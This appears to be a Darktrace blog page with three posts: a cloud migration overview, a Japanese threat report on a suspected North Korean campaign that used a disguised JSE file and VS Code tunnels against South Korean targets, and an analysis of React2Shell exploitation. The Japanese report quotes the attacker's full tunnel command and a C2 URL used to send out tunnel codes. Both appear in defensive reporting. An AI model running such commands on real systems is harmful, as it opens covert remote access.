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March 12, 2024

Cloud Migration Strategies, Services and Risks

Explore strategies, services, and risks associated with mastering cloud migration. Learn more here about hybrid cloud model, benefits, and migration phases.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Stevens
Senior Director of Product, Cloud | Darktrace
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12
Mar 2024

What is cloud migration?

Cloud migration, in its simplest form, refers to the process of moving digital assets, such as data, applications, and IT resources, from on-premises infrastructure or legacy systems to cloud computing environments. There are various flavours of migration and utilization, but according to a survey conducted by IBM, one of the most common is the 'Hybrid' approach, with around 77% of businesses adopting a hybrid cloud approach.

There are three key components of a hybrid cloud migration model:

  1. On-Premises (On-Prem): Physical location with some amount of hardware and networking, traditionally a data centre.
  2. Public Cloud: Third-party providers like AWS, Azure, and Google, who offer multiple services such as Infrastructure-as-a-Service (IaaS), Platform-as-a-Service (PaaS), and Software-as-a-Service (SaaS).
  3. Private Cloud: A cloud computing environment where resources are isolated for one customer.

Why does cloud migration matter for enterprises?

Cloud adoption provides many benefits to businesses, including:

  1. Scalability: Cloud environments allow enterprises to scale resources up or down based on demand, enabling them to quickly adapt to changing business requirements.
  2. Flexibility and Agility: Cloud platforms provide greater flexibility and agility, enabling enterprises to innovate and deploy new services more rapidly compared to traditional on-premises infrastructure.
  3. Cost Efficiency: Pay-as-you-go model, allowing enterprises to reduce capital expenditures on hardware and infrastructure.
  4. Enhanced Security: Cloud service providers invest heavily in security measures to protect data and infrastructure, offering advanced security features and compliance certifications.

The combination of these benefits provides significant potential for businesses to innovate and move quickly, ultimately allowing them to be flexible and adapt to changing market conditions, customer demands, and technological advancements with greater agility and efficiency.

Cloud migration strategy

There are multiple migration strategies a business can adopt, including:

  1. Rehosting (Lift-and-shift): Quickly completed but may lead to increased costs for running workloads.
  2. Refactoring (Cloud Native): Designed specifically for the cloud but requires a steep learning curve and staff training on new processes.
  3. Hybrid Cloud: Mix of on-premises and public cloud use, offering flexibility and scalability while keeping data secure on-premises. This can introduce complexities in setup and management overhead and requires ensuring security and compliance in both environments.

It is important to note that each strategy has its trade-offs and there is no single gold standard for a one size fits all cloud migration strategy. Different businesses will prioritize and leverage different benefits, for instance while some might prefer a rehosting strategy as it gets them migrated the fastest, it typically ends up also being the most costly strategy as “lift-and-shift” doesn’t take advantage of many key benefits that the cloud has to offer. Conversely, refactoring is a strategy optimized at making the most of the benefits that cloud providers have to offer, however the process of redesigning applications requires cloud expertise and based on the scale of applications that are required to be refactored this strategy might not be the quickest when it comes to moving applications from being hosted on premise to in the cloud.  

Phases of a cloud migration

At the highest level, there are four main steps in a successful migration:

  1. Discover: Identify and categorize IT assets, applications, and critical dependencies.
  2. Plan: Develop a detailed migration plan, including timelines, resource allocation, and risk management strategies.
  3. Migrate: Execute the migration plan, minimizing disruption to business operations.
  4. Optimize: Continuously optimize the cloud environment using automation, performance monitoring, and cost management tools to improve efficiency, performance, and scalability.

While it is natural to race towards the end goals of a cloud migration, most successful cloud migration strategies allocate the appropriate timelines to each phase.  

The “Discover” phase specifically is where most businesses can set themselves up for success. Having a complete understanding of assets, applications, services, and dependencies needed to migrate however is much easier said than done. Given the pace of change and how laborious of a task inventorying everything can be to manage and maintain, most mistakes at this stage will propagate and amplify through the migration journey.  

Risks and challenges of cloud migration

Though cloud migration offers a wealth of benefits, it also introduces new risks that need to be accounted for and managed effectively. Security should be considered a fundamental part of the process, not an additional measure that can be ‘bolted’ on at the end.

Let’s consider the most popular migration strategy, using a ‘Hybrid Cloud’. A recent report by the industry analyst group Forrester cited that Cloud Security Posture Management (CSPM) tools are just one facet of security, stating:

"No matter how good it is, using a CSPM solution alone will not provide you with full visibility, detection, and effective remediation capabilities for all threats. Your adversaries are also targeting operating systems, existing on-prem network infrastructure, and applications in their quest to steal valuable data".

Unpacking some of the risks here, it’s clear they fall into a range of categories, including:

  1. Security Concerns: Ensuring security across both on-premises and cloud environments, addressing potential misconfigurations and vulnerabilities.
  2. Contextual Understanding: Effective security requires a deep understanding of the organization's business processes and the context in which data and applications operate.
  3. Threat Detection and Response: Identifying and responding to threats in real-time requires advanced capabilities such as AI and anomaly detection.
  4. Platform Approach: Deploying integrated security solutions that provide end-to-end visibility, centralized management, and automated responses across hybrid infrastructure.

Since the cloud doesn’t operate in a vacuum, businesses will always have a myriad of 3rd party applications, users, endpoints, external services, and partners connecting and interacting with their cloud environments. From this perspective, being able to correlate and understand behaviors and activity both within the cloud and its surroundings becomes imperative.

It then follows that context from a business wide perspective is necessary. This has two distinct implications, the first is application or workload specific context (i.e. where do the assets, services, and functions alerted on reside within the cloud application) and the second is business wide context. Given the volume of alerts that security practitioners need to manage, findings that lack the appropriate context to fully understand and resolve the issue create additional strain on teams that are already managing a difficult challenge.  

Conclusion

With that in mind, Darktrace’s approach to security, with its existing and new advances in Cloud Detection and Response capabilities, anomaly detection across SaaS applications, and native ability to leverage many AI techniques to understand the business context within your dynamic cloud environment and on-premises infrastructure. It provides you with the integrated building blocks to provide the ‘360’ degree view required to detect and respond to threats before, during, and long after your enterprise migrates to the cloud.

References

IBM Transformation Index: State of Cloud https://www.ibm.com/blog/hybrid-cloud-use-cases/

https://www.forrester.com/report/the-top-trends-shaping-cloud-security-posture-management-cspm-in-2024/RES180379  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Stevens
Senior Director of Product, Cloud | Darktrace

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January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

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はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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